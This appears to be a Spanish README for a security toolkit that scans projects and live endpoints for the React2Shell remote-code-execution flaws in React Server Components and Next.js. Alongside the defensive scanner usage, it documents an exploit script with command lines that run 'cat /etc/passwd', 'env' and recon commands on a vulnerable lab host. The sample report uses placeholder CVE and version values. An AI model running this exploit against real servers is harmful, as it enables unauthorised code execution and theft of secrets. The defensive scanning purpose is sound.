
Escáner para CVE-2025-55182 (React) y CVE-2025-66478 (Next.js) - Rastrea y remedia una campaña de vulnerabilidad crítica de React Server Components (RSC) / protocolo Flight que afecta a react-server-dom-webpack, react-server-dom-parcel, react-server-dom-turbopack y frameworks compatibles con RSC como Next.js.
Vulnerabilidad EXTERNA para la clase de bugs React2Shell: dos vulnerabilidades de ejecución remota de código recién divulgadas y no autenticadas en el protocolo «Flight» de React Server Components (RSC): CVE-2025-55182 (React) y CVE-2025-66478 (Next.js), ambas calificadas con CVSS 10.0. Estos problemas residen en cómo los endpoints RSC/Server Function decodifican payloads Flight controlados por el atacante, convirtiendo una única solicitud HTTP manipulada en una potencial ejecución de código del lado del servidor, incluso en stacks modernos «por defecto» de React/Next.js que usan App Router y builds de producción. Para muchos equipos este es un momento de «parchear ahora, verificar la exposición y luego auditar», no algo que deba posponerse para un sprint posterior de higiene de dependencias. La carpeta LAB contiene exploits y vulnerabilidades de laboratorio para React2Shell
Este proyecto ofrece un enfoque doble: (1) escaneo de riesgos de composición de software / dependencias (esta herramienta), para localizar rápidamente librerías y versiones vulnerables, y (2) un escáner DAST web (React2Shell Web Scanner) que sondea activamente endpoints RSC/Flight desde el exterior, validando si las rutas explotables son alcanzables en entornos en ejecución. En conjunto, le ayudan a responder tanto «¿dónde están los componentes vulnerables?» como «¿dónde pueden explotarse realmente en producción?», de modo que pueda priorizar el parcheo, el endurecimiento y la respuesta a incidentes con confianza.
Para pruebas de endpoints en vivo y validación de RCE, consulte el escáner web dedicado:
📁 web-scan_CVE-2025-66478/ - Documentación y guía completas
cd web-scan_CVE-2025-66478
# Install dependencies
pip install -r requirements.txt
# Scan a single target
python3 react2shell-scanner -u https://target.com -v
# Scan with evidence display
python3 react2shell-scanner -u https://target.com --show-evidence
# Batch scan with all export formats
python3 react2shell-scanner -l targets.txt -o results.json --csv results.csv --html report.html
# Test the exploit on vulnerable target (requires Python 3.11+)
python3.11 test-lab/exploit.py -u http://vulnerable-host:3000 -c "hostname"
cd web-scan_CVE-2025-66478/test-lab/lab
# Start vulnerable (3011) and patched (3012) instances
docker-compose up -d
# Test vulnerable instance
python3 react2shell-scanner -u http://localhost:3011 --show-evidence
cd web-scan_CVE-2025-66478/test-lab
# Install exploit dependencies
pip3.11 install -r requirements.txt
# Basic command execution
python3.11 exploit.py -u http://localhost:3011 -c "whoami"
# Output: nextjs
python3.11 exploit.py -u http://localhost:3011 -c "id"
# Output: uid=1001(nextjs) gid=65533(nogroup)
python3.11 exploit.py -u http://localhost:3011 -c "hostname"
# Output: 99e28775bf80 (container ID)
# System enumeration
python3.11 exploit.py -u http://localhost:3011 -c "uname -a"
python3.11 exploit.py -u http://localhost:3011 -c "cat /etc/passwd"
python3.11 exploit.py -u http://localhost:3011 -c "env"
# Application recon
python3.11 exploit.py -u http://localhost:3011 -c "pwd" # /app
python3.11 exploit.py -u http://localhost:3011 -c "ls -la"
python3.11 exploit.py -u http://localhost:3011 -c "cat package.json"
python3.11 exploit.py -u http://localhost:3011 -c "node --version"
React2Shell es una primitiva de ejecución remota de código no autenticada contra el manejo de payloads de React Server Components (RSC) en el protocolo Flight. En la práctica, esto significa que un cliente malicioso puede enviar una única solicitud HTTP manipulada a un endpoint RSC/Server Function y, si hay una versión vulnerable en uso, potencialmente convertir una «aplicación web» en un «shell del servidor».
A alto nivel:
Debido a que se trata de RCE no autenticada, las configuraciones de producción por defecto están dentro del alcance, incluso si nunca escribió explícitamente una «server function» y simplemente adoptó patrones modernos de React/Next.js. Las mitigaciones a nivel de hosting y los WAF genéricos no deben tratarse como su principal red de seguridad: pueden reducir la exposición, pero no compensarán de forma fiable las librerías vulnerables. Trate esto como un incidente:
Una vez que un atacante consigue RCE a través de React2Shell, los defensores deben asumir una kill chain conocida:
.env, secretos de despliegue, tokens de CI, credenciales de servicios y claves de firma.Si su pipeline de DevSecOps ha tratado históricamente la capa web como «solo un frontend», esta vulnerabilidad es una demostración concreta de que los frameworks frontend pueden conllevar un profundo radio de impacto del lado del servidor cuando están involucrados RSC y la semántica de streaming. Universal Vulnerability Scanner existe para ayudarle a responder rápidamente «¿estamos ejecutando los paquetes vulnerables en algún lugar?» y para alimentar esa respuesta en campañas impulsadas por Phoenix y, próximamente, en una validación DAST web complementaria de endpoints RSC en vivo.
# Install dependencies
pip install -r requirements.txt
# Run from project root
python -m universal_vulnerability_scanner.main --help
# Basic scan
python -m universal_vulnerability_scanner.main scan /path/to/project
# With JSON output
python -m universal_vulnerability_scanner.main scan /path/to/project --json --output results.json
# Quiet mode (only show summary)
python -m universal_vulnerability_scanner.main scan /path/to/project --quiet
# Create Phoenix configuration template
python -m universal_vulnerability_scanner.main create-config
# Edit .phoenix.config with your credentials
# Then scan and upload
python -m universal_vulnerability_scanner.main scan /path/to/project --upload-phoenix
# Test with included vulnerable samples
python -m universal_vulnerability_scanner.main test
El escáner utiliza una base de datos de vulnerabilidades basada en JSON ubicada en:
universal_vulnerability_scanner/data/vulnerability_database.json
{
"metadata": {
"version": "1.0.0",
"last_update": "2025-12-04",
"ecosystems": ["npm"]
},
"vulnerabilities": {
"npm": {
"package-name": {
"exact_versions": ["1.0.0", "1.0.1"],
"vulnerable_ranges": [
{"min": "1.0.0", "max": "1.0.2", "severity": "CRITICAL"}
],
"safe_versions": ["1.0.2+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description",
"references": ["https://..."]
}
}
}
}
Cree .phoenix.config:
[phoenix]
client_id = your_client_id_here
client_secret = your_client_secret_here
api_base_url = https://api.securityphoenix.cloud
assessment_name = Universal Vulnerability Scanner - RSC Detection
import_type = new
O use variables de entorno:
export PHOENIX_CLIENT_ID="your_client_id"
export PHOENIX_CLIENT_SECRET="your_client_secret"
export PHOENIX_API_URL="https://api.securityphoenix.cloud"
================================================================================
UNIVERSAL VULNERABILITY SCANNER REPORT
================================================================================
Scan completed: 2025-12-04 10:30:00
SUMMARY:
----------------------------------------
Total findings: 12
VULNERABLE: 3
SAFE: 2
CLEAN: 5
REVIEW: 2
🚨 VULNERABLE PACKAGES DETECTED
================================================================================
1. [email protected]
File: /path/to/project/package.json
Reason: Exact match with known vulnerable version 19.0.0
✅ Safe version: 18.99.99
CVE: CVE-2025-RSC-001
[
{
"path": "/path/to/project/package.json",
"kind": "package.json",
"package": "react-server-dom-webpack",
"version": "19.0.0",
"verdict": "VULNERABLE",
"reason": "Exact match with known vulnerable version 19.0.0",
"severity": "CRITICAL",
"vulnerable_versions": ["19.0.0", "19.1.0", "19.1.1", "19.2.0"],
"safe_version": "18.99.99",
"cve_ids": ["CVE-2025-RSC-001"],
"timestamp": "2025-12-04T10:30:00"
}
]
El escáner incluye muestras de prueba integrales en test_samples/:
Ejecutar pruebas:
python -m universal_vulnerability_scanner.main test
universal_vulnerability_scanner/
├── core/
│ └── version_parser.py # Semver parsing & comparison
├── models/
│ ├── finding.py # Finding data model
│ └── vulnerability.py # Vulnerability database model
├── scanners/
│ ├── base_scanner.py # Abstract scanner interface
│ └── npm_scanner.py # NPM ecosystem scanner
├── integrations/
│ └── phoenix_uploader.py # Phoenix API client
├── data/
│ └── vulnerability_database.json # Vulnerability definitions
├── test_samples/ # Test cases
└── main.py # CLI entry point
scanners/ que herede de BaseScannerEjemplo:
from .base_scanner import BaseScanner
class PyPIScanner(BaseScanner):
def _get_ecosystem(self) -> str:
return "pypi"
def scan_path(self, root: Path) -> List[Finding]:
# Implement PyPI scanning logic
pass
Edite data/vulnerability_database.json:
{
"npm": {
"new-vulnerable-package": {
"exact_versions": ["1.0.0"],
"vulnerable_ranges": [{"min": "1.0.0", "max": "1.0.5", "severity": "HIGH"}],
"safe_versions": ["1.0.5+"],
"cve_ids": ["CVE-2025-XXXX"],
"description": "Vulnerability description"
}
}
}
0 - Escaneo exitoso, no se encontraron vulnerabilidades1 - Escaneo exitoso, se encontraron vulnerabilidades2 - Escaneo fallido (entrada no válida, error de base de datos, etc.)Sube automáticamente los hallazgos a Phoenix con:
# Example GitHub Actions
- name: Vulnerability Scan
run: |
python -m universal_vulnerability_scanner.main scan . --json --output scan-results.json
- name: Upload to Phoenix
if: always()
run: |
python -m universal_vulnerability_scanner.main scan . --upload-phoenix
react/rsc_exposure_scanner.pyenhanced_npm_compromise_detector_phoenix.pyParte del toolkit de seguridad Shai Halud.
🔍 ¡Manténgase seguro! Reporte las vulnerabilidades de forma responsable.
| Característica | Descripción |
|---|
| 🔍 Detección de RCE | Detección segura basada en aritmética (sin efectos secundarios) |
| 🎯 Huella tecnológica | Auto-detección de aplicaciones Next.js/React |
| 📊 Exportación multi-formato | Informes JSON, CSV y HTML |
| 🔗 Correlación de IOC | Coincidencia contra más de 31 IPs maliciosas conocidas |
| 🌐 Escaneo a escala | Rangos CIDR, enumeración de subdominios |
| ☁️ Integración con Phoenix | Subir hallazgos a Phoenix Security |
| 💻 Herramienta de Exploit | Ejecutar comandos en objetivos vulnerables |
| Caso de Prueba | Descripción | Resultados Esperados |
|---|
rsc_vulnerable_exact/ | Versiones vulnerables exactas | 4 VULNERABLE |
rsc_vulnerable_range/ | Rangos de versiones | 4 VULNERABLE |
rsc_safe_versions/ | Versiones seguras parcheadas | 6 SAFE |
rsc_mixed/ | Mezcla de vulnerable/seguro/limpio | 2 VULNERABLE, 1 SAFE, 4 CLEAN |
rsc_with_lockfile/ | Análisis de lockfiles | 2 VULNERABLE, 1 CLEAN |